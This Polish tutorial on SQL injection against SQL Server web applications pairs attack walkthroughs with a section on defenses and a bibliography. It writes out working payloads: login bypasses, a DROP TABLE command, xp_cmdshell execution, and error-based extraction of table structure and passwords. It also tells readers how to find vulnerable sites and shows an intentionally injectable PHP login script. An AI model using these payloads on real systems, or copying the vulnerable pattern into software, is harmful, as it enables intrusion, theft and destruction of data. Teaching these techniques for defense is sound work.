Atak SQL Injection
Na serwery/aplikacje WWW oparte o SQL Server
Autor: Maciej Buczek
1
Spis treści
1.Wprowadzenie.................................................................................................. 3
2.Wykrywanie stron podatnych na SQL Injection...........................................3
3.Podstawy ataku.................................................................................................4
4.Przykłady włamań na serwery........................................................................ 5
a) Pominięcie autoryzacji........................................................................................................5
b) Wykorzystanie uprawnień dla dostępu do bazy danych.....................................................6
c) Pozyskiwanie informacji używając komunikatów o błędach............................................. 7
5.Zabezpieczenia................................................................................................10
Bibliografia:....................................................................................................... 13
2
1. Wprowadzenie.
Każda poważna aplikacja posiada trójwarstwową architekturę: GUI-API-DataLayer.
Warstwę danych (DataLayer) stanowi w 95 % baza danych. Przechowuje ona dane
użytkowników, uprawnienia, informacje finansowe i biznesowe, oraz wiele innych
ważnych danych. Dlatego tak ważne jest, aby dane były bezpieczne.
Pewnie niewielu z Was wie, co oznacza termin SQL Injection. Jest to atak, którego
źródłem są niewalidowane dane wejściowe użytkownika aplikacji, które mogą być
pobrane przez system np. z formularza WWW. Celem ataku SQL Injection jest
wydobycie poufnych informacji z bazy danych i zakłócenie jej prawidłowego działania
Mimo tego że jest stosunkowo łatwo zabezpieczyć się przed atakami tego typu istnieje
bardzo wiele serwisów podatnych na takie zagrożenie.
SQL Injection jest atakiem wymaga tylko otwartego portu 80 i aplikacji webowej opartej
o technologie PHP, JSP, ASP, CGI itd.
Atak polega na wstrzyknięciu zapytania/polecenia SQL poprzez formę na stronie www.
Wiele aplikacji webowych pobiera dane od użytkownika i wykorzystuje je do
formułowania zapytań do bazy danych. Typowym przykładem jest pobieranie loginu i
hasła od użytkownika i autoryzacja danej osoby. Użytkownik dostaje w ten sposób
konkretne przywileje i poszerzony dostęp do bazy danych. Jest możliwe aby tak
spreparować login i/lub hasło, aby zmienić sens zapytania i uzyskać inny niezamierzony
przez projektanta aplikacji efekt.
2. Wykrywanie stron podatnych na SQL Injection.
Co będzie potrzebne?
Wystarczy tylko przeglądarka internetowa.
W celu przeprowadzenia ataku wyszukujemy stronę, która pozwala na wprowadzanie
danych przez użytkownika. Strona HTMLowa często używa metody POST do przesyłania
danych do innej strony skojarzonej z danym skryptem (PHP, ASP, JSP itd.) i wykonującej
dane zadanie pobrania i obróbki danych z bazy danych (np. MySql).
Dane przesyłane metodą POST nie są widoczne w URL dlatego aby wyszukać stronę
używającej metody POST można zwyczajnie przeglądać kod źródłowy i wyszukiwać
tagów <FORM>
Np.:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Jeżeli nie możesz znaleźć stron przyjmujących dane, powinieneś poszukać stron PHP,
JSP, ASP ,CGI, Szczególną uwagę należy zwrócić na adresy stron typu:
3
http://hakowana.strona/index.php?id=10
Jak sprawdzić czy strona jest podatna na ataki SQL Injection?
Wypełnij pola login albo hasło wartościami:
Login : hi’ or 1=1--
Hasło: hi’ or 1=1--
Można także podać te ciągi bezpośrednio do adresu URL:
http://duck/index.asp?id=hi' or 1=1--
Jeśli skrypt jest niezabezpieczony to zalogujemy się na stronę bez podawania loginu i
hasła.
3. Podstawy ataku.
Typowe zapytanie SQL wygląda następująco:
select id, forename, surname from authors
To zapytanie wyciągnie z bazy kolumne ‘id’, ‘forename’, ‘surname’ z tabeli ‘authors’
zwracając wszystkie wiersze.
Zbiór wyników może być ograniczony poprzez podanie warunku:
SELECT id, forename, surname FROM authors WHERE forename = 'john' AND surname
= 'smith'
Trzeba zauważyć, że ciągi znakowe ‘john’ i ‘smith’ są ograniczone poprzez znak „ ’
” (pojedynczy cudzysłów). Zakładając, że te wartości zostały podane przez użytkownika
aplikacji, atakujący mógłby spowodować nieoczekiwane zachowanie aplikacji
wprowadzając dane:
name : Jo’hn
surname: Smith
Zapytanie będzie miało postać:
SELECT id, forename, surname FROM authors WHERE forename = 'jo'hn' AND
surname = 'smith'
Kiedy system będzie próbował wykonać to zapytanie, zostanie zwrócony następujący
komunikat o błędzie:
4
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'
Powodem takiego zachowanie jest fakt że pojedynczy cudzysłów w podawanym polu
kończy ciąg znakowy. Następnie system próbuje wykonać polecenie ‘hn nie należące do
języka SQL i generuje błąd.
Istnieje także metoda pomijająca ograniczenia wynikające z zastosowanie warunku
„WHERE”. Mianowicie, zastosowanie znacznika “--“,który w zapytaniu SQL jest przez
SQL Server 2000 („#” w MySql) interpretowany jako polecenie ignorowania
wszystkiego, co po takim znaczniku występuje.
Dlatego w zapytaniu:
SELECT name, surname, book_title FROM authors WHERE surname=’<user input>’
AND book_title=’<user input>’
wprowadzając dane
surname: Sienkiewicz’--
book_title: Quo Vadis
Do bazy zostanie wysłane przez aplikację zapytanie:
SELECT name, surname, book_title FROM authors WHERE surname=’Sienkiewicz’
--’
AND book_title=’Quo Vadis’
Wyświetlające wszystkie pozycje których autorem jest Sienkiewicz.
4. Przykłady włamań na serwery.
a) Pominięcie autoryzacji.
Proces autoryzacji może przebiegać w następujący sposób:
SELECT * FROM users WHERE login=’<user input>’ and password=’<user input>’
Gdy powyższe zapytanie zwróci jeden wiersz to znaczy, że istnieje dokładnie jeden
użytkownik o danym loginie i haśle. W związku autoryzacja użytkownika powiodła się i
możemy dopuścić go do kolejnych podstron naszej strony lub udostępnić nowe
funkcjonalności naszej aplikacji webowej.
Na pierwszy rzut oka wszystko działa poprawnie. Jeśli przykładowo istnieje użytkownik
login=Jacek, password=ala i wprowadzi on swoje dane w formatce logowania, klauzula
WHERE w zapytaniu autoryzacji będzie miała postać:
“WHERE login=‘Jacek’ AND password=’ala’”;
5
Ale co się stanie, jeśli użytkownik wprowadzi niepoprawne dane?
Pierwszy atak, zakłada, że użytkownik wprowadzi dane następujące:
login=’ OR 1=1 --
password=’’
Wówczas klauzula WHERE w zapytaniu autoryzacji przyjmie postać:
“WHERE login= ‘’ OR 1=1
--’ AND password=’’”;
Co się dzieje z zapytaniem?
Ponieważ w klauzuli WHERE występuje alternatywa, której człon ‘1=1’ jest
zawsze prawdziwy, oznacza to, że zapytanie zwróci wszystkie rekordy z tablicy „users”
(!). Zatem użytkownikowi udało się wprowadzić błędne dane (bez hasła), które przez
aplikację zostały zinterpretowane jako poprawne.
Na szczęście, jeżeli obiekt „users” posiada więcej niż jeden rekord, nie zostanie
wyświetlona lista transakcji dla użytkownika (warunek pomyślnej autoryzacji). Jest to
pewne zabezpieczenie, ale czy wystarczające?
Drugi atak, zakłada, że atakujący jest bardziej przebiegły i w formatce logowania
może wpisać:
login=’ OR ID = 1 –
password=’’
Wykonanie tego zapytanie spowoduje, zwrócenie dokładnie jednego rekordu w obiekcie
„users”(o ile użytkownik z ID=1 istnieje), a więc pociągnie za sobą pomyślną
autoryzację użytkownika o identyfikatorze 1. Jedynym ograniczeniem, przy takim
scenariuszu działania jest to, że atakujący nie zna nazw kolumn tablicy „users”, w
szczególności kolumny „ID” . Znalezienie nazwy kolumn, może jednak nastąpić
najłatwiejszą metodą poszukiwania – metodą prób i błędów. Dodatkowo, niektóre serwisy
internetowe wyświetlają całkowity kod błędu bazy danych, w którym są informacje, w
jakiej tabeli i w wyniku operacji, na jakiej kolumnie wystąpił wyjątek. Niektórzy
programiści nie myślą o konsekwencji, dostania się takiej informacji w niepowołane ręce.
Trzeci atak, pokazuje jak łatwo można usunąć tabelę „users” z całą jej zawartością.
Wystarczy w pole login wpisać:
login:’; DROP TABLE users;
b) Wykorzystanie uprawnień dla dostępu do bazy danych
Niektóre aplikacje bazodanowe używają kont administracyjnych, do zarządzania
aplikacją a głównie bazą danych z najwyższego poziomu administratora. Atakujący,
któremu uda się podszyć pod administratora, ma nieograniczone możliwości
manipulowania danymi. Poniższy przykład ataku zakłada, że aplikacja została
uruchomiona z prawami dla sysadmin, db_dbowner lub db_dlladmin.
6
Pierwsza próba logowanie polega na stworzeniu tabeli, przechowującej dane. Pole hasło
pozostaje puste, w polu login wpisujemy:
login: ‘ OR ID=1; CREATE TABLE mojaTabela( dysk varchar(31), pojemnosc int);
INSERT INTO mojaTabela EXEC master..xp_fixeddrives;--
Powyższa komenda powoduje stworzenie tabeli do przechowania nazw dysków serwera z
ich pojemnością w MB. W komendzie autoryzacyjnej zwróci jeden rekord użytkownika o
identyfikatorze 1 i spowoduje wywołanie komendy CREATE, gdzie stworzy tabelę
mojaTabela. Teraz wystarczy wypełnić tabelę danymi, postępując analogicznie:
login: ‘ OR ID=1; SELECT * FROM mojaTabela;--.
W tym momencie po zalogowaniu do usługi zobaczymy listę dysków z ich pojemnością w
MB. Kolejna komenda pozwoli zobaczyć, co znajduje się na jednym z dysków z listy
(załóżmy, że na liście jest dysk c). Należy ponownie spróbować się zalogować i wpisać:
login:’; CREATE TABLE mojaTabela2(dane varchar(127) NULL);
INSERT INTO mojaTabela2 EXEC master..xp_cmdshell ‘dir c:\’;--
Przykład pokazuje, że ważne jest, aby aplikacja była uruchamiana z najmniejszą ilością
przywilejów, niezbędnych do jej poprawnego działania. Zalecam, aby podczas instalacji
SQL Server 2000, umożliwić dostęp tylko do określonych zasobów. Wówczas wywołanie
xp_cmdshell nic poważnego zrobić nie powinno.
c) Pozyskiwanie informacji używając komunikatów o błędach.
Aby dowolnie manipulować danymi w bazie danych, atakujący musi być w stanie
określić strukturę konkretnych tabel w bazie. Na przykład tabela ‘users’ może być
stworzona następującym poleceniem SQL`owym:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
Załóżmy, że do tej tabeli wstawiono użytkowników:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Powiedzmy, że haker chce wstawić do tabeli wiersz ze swoim kontem. Nie znając
struktury tabeli jest skazany na niepowodzenie. Nawet jeśli mu się poszczęści istnieje
prawdopodobieństwo, że błędnie rozszyfruje znaczenie kolumn i nada sobie niskie
przywileje (kolumna ‘privis’).
7
Na szczęście dla hakera domyślnym zachowanie większości serwerów WWW (ASP,
PHP) komunikaty o błędach są zwracane przez aplikację. To właśnie z tych komunikatów
haker jest w stanie określić strukturę tabeli.
Najpierw atakujący chce ustalić nazwy tabel, na których zapytanie w formie operuje oraz
nazwy kolumna w tych tabelach. Aby to zrobić, haker używa polecenia ‘having’ w zdaniu
‘select’:
Username: ‘ having 1=1 –
Wykonanie zapytanie przez aplikację z takimi danymi powoduje następujący błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'users.id'
is invalid in the
select list because it is not contained in an aggregate function and there is no GROUP BY
clause.
Z tego komunikaty haker wyciąga nazwę tabeli z którą łączy się aplikacja (‘users’) i
nazwę pierwszej kolumny tabeli (‘id’). Następnie haker może kontynuować w podobny
sposób wykluczając kolejne kolumny powodujące błąd poprzez wykonanie grupowania
po nich:
Username: ' group by users.id having 1=1—
Błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'users.username'
is invalid
in the select list because it is not contained in either an aggregate function or the GROUP
BY clause.
Haker Dowiaduje się o nazwie drugiej kolumny (‘username’). Ostatecznie wstrzykuje:
Username: ' group by users.id, users.username, users.password, users.privs having 1=1—
Polecenie to nie powoduje błędu i jest równoważne poleceniu:
select * from users where username = ''
Tak więc atakujący teraz już wie że aplikacja odnosi się tylko do jednej tabeli składającej
się z kolumn id, username, password, privs (w takiej kolejności).
Następnym krokiem jest określenie typów poszczególnych kolumn. Można to osiągnąć
poprzez wykorzystanie komunikacie o błędzie powodowanym przez konwersję typów:
Username: ' union select sum(username) from users--
Haker wykorzystuje fakt że SQL Server podejmuje próbę zastosowanie polecenie ‘sum’
zanim sprawdzi czy ilość pól w dwóch zestawach wierszy jest jednakowa. Próba
obliczenia sumy tekstowego pola powoduje następujący błąd:
8
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate
operation cannot take a
varchar
data type as an argument.
.. który mówi nam o tym, że kolumna ‘umername’ jest typu ‘varchar’. Z drugiej strony
próbując obliczyć sum() z pola typu numerycznego, otrzymamy komunikat o różnicy
ilości w zbiorach wierszy po obu stronach polecenia ‘UNION’:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their target
lists.
Używając tej techniki możemy określić typ każdej kolumny w naszej tabeli, tym samym
haker uzyskuje możliwość sformułowania poprawnego polecenia wstawiającego dane do
tabeli (‘INSERT’):
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Komunikaty o błędach pozwalają także na pozyskanie różnych innych niebezpiecznych
informacji.
Przykładem może być własność SQL Servera do podawania w błędzie informacji
odnoszących się do konwersji typów. Mianowicie jeżeli próbujemy konwertować string
do integer wtedy cała zawartość Stinga jest wypisywana w błędzie np.:
version of SQL server, and the server operating system it is running on:
Username: ' union select @@version,1,1,1—
Błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0
(Build 2195: Service Pack 2) '
to a column of data type int.
Ten przykład próbuje przekonwertować wbudowaną zmienną ‘@@version’ do interiera
ponieważ taki jest typ pierwszej kolumny w tabeli. W ten sposób haker otrzymuje
informacje o wersji SQL Servera i o systenie operacyjnym na jakim jest on uruchamiany.
Ta technika może być użyta aby odczytać każdą wartość w dowolnej tabeli bazy danych.
Ponieważ atakujący jest przeważnie zainteresowany w polach typu ‘username’ i
‘paswword’ z pewnością zastosuje poniższe zapytanie:
Username: ' union select min(username),1,1,1 from users where username > 'a'—
9
To wybierze minimalną leksykalnie nazwę użytkownika, która jest większa od ‘a’ i
spróbuje przekonwertować ją do integera:
Błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar
value 'admin'
to a column of data type int.
Tak więc haker wie, że istnieje konto o nazwie ‘admin’. Teraz jest w stanie iterować po
wierszach w tabeli porównując wyszukiwaną nazwę użytkownika do znalezionej
wcześniej np.:
Username: ' union select min(username),1,1,1 from users where username > 'admin'—
Błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar
value 'chris'
to a column of data type int.
Kiedy już haker określi nazwy użytkowników może zająć się zdobywaniem haseł:
Username: ' union select password,1,1,1 from users where username = 'admin'—
Błąd:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar
value 'r00tr0x!'
to a column of data type int.
Te przykłady zaledwie pokazują namiastkę tego jak elastyczna jest ta technika. Powinno
to uzmysłowić każdemu jakim zagrożeniem jest możliwość przeglądania przez hakera
informacji o błędach bazy danych. Dzięki takim informacją jego praca staje się dużo
łatwiejsza.
5. Zabezpieczenia.
Przykład jak się nie powinno pisać skryptu aplikacji webowej:
(Skrypt PHP)
$zapytanie="SELECT * from USERS WHERE login = '".$_POST["kontrolka_login"]."' AND
password='".$_POST["kontrolka_password"]."';";
10
$wynik=mysql_query($zapytanie,$polaczenie);
if(mysql_num_rows($wynik)!=1) $error="Błędna logowanie!;
else{
OK.!
}
Typowy błąd – wiara w dobre intencje użytkownika.
Nie ma żadnej kontroli tego co użytkownik/haker nam wprowadzi do aplikacji.
Istnieje wiele metod walki z SQL Injection. Najważniejsze i najbardziej znane opiszę
poniżej.
Walidacja danych wprowadzanych przez użytkownika
Jest to najprostszy sposób walki z SQL Injection, jednak nie zawsze
wystarczający, a niekiedy niemożliwy do zastosowania. Polega na sprawdzaniu
poprawności składniowej danych wprowadzanych przez użytkownika. Możliwe jest
rozwiązanie poprzez stosowanie walidujących skryptów np. JavaScript po stronie klienta,
jednak po stronie serwera, trzeba powtórzyć walidację.
Walidację można przeprowadzić przy pomocy wyrażeń regularnych np.:
Username: /^[A-Za-z0-9]{1,32}$/g (maksymalnie 32 znaki alfanumeryczne)
Ograniczenie długości wprowadzanych danych
Aby uniemożliwić „wstrzykiwanie” do bazy danych niebezpiecznego kodu, można
ograniczyć możliwą do wprowadzenia długość danych dla kontrolek. Często jednak,
kontrolki muszą pozwolić na wprowadzanie wielu znaków, np 255. W takim przypadku i
takie rozwiązanie staje się nieefektywne.
Obróbka danych użytkownika w skrypcie.
Zamiana niebezpiecznych znaków mogących zmienić znaczenie zapytania SQL na
nieszkodliwe np.:
„’” na „’’”
W stałeś łańcuchowej SQL dwa cudzysłowy są traktowane jako reprezentacja
znaku cudzysłowu, a nie jako zakończenie łańcucha.
„%” na „[%]”
„_” na „[_]”
Ostatnie dwa przykłady dotyczą ochrony klauzuli LIKE.
Parametryzowane wywołanie zapytań SQL
11
SQL Server i wiele technologi ( .NET Framework, Java itd.), daje możliwość
wywoływania zapytań na bazie danych, które nie pobierają bezpośrednio danych
wpisanych do kontrolek jako parametrów, tylko jawnie wyspecyfikowane parametry.
Baza wie jakie będzie zapytanie zanim podamy konkretne parametry.
Takie rozwiązanie eliminuje możliwość „wstrzyknięcia” niebezpiecznego kodu do
aplikacji. Poniższy kod pokazuje. w jaki sposób sparametryzować komendę
wykorzystywaną podczas procesu autoryzacji użytkowników usługi.
(przykład VS.NET C#)
string commandText = "SELECT COUNT(*) FROM Users "+" WHERE
UserName=@userName AND UserPass=@userPass";
SqlCommand cmd = new SqlCommand(commandText, conn);
cmd.Parameters.Add("@userPass ", tbUserPass.ToString());
cmd.Parameters.Add("@userName ", tbUserName.ToString());
W przypadku wykorzystania zbiory Parameters, jakiekolwiek dane wprowadzone przez
użytkownika będą traktowane jako wartość stała.
Wykorzystywanie procedur składowych bazy
Najbardziej elegancką i bezpieczną metodą wywoływania zapytań na bazie danych jest
napisanie skryptów bazy danych i wywołanie ich w kodzie aplikacji. Rozwiązanie to jest
równie poprawne jak parametryzowane wywoływanie zapytań SQL a dużo bardziej
czytelne i łatwiejsze w zarządzaniu.
Ograniczenie praw dostępu do bazy danych
Aby uniemożliwić użytkownikowi korzystanie z wbudowanych komend np.
xp_cmdshell należy uruchomić bazę danych z możliwie najmniejszą ilością uprawnień.
Ograniczenie informacji o błędzie prezentowanej użytkownikowi
Aby użytkownik nie był informowany o błędach po stronie bazy danych należy
ograniczyć wyświetlanie informacji o błędach/wyjątkach do minimum lub podawać tylko
kod błędu a w jakichś dodatkowych zasobach udostępnić opisy tych kodów. Takie
rozwiązanie ograniczy możliwość uzyskania informacji o nazwach tabel lub nazwach
kolumn osobom trzecim.
12
Bibliografia:
„Bezpieczny Kod. Tworzenie i zastosowanie” Michael Howard, David LeBlanc,
edycja polska : Microsoft Press
„Tworzenie bezpiecznych aplikacji ASP.NET” Microsoft Press
www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.codeguru.pl/article-515.aspx
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
13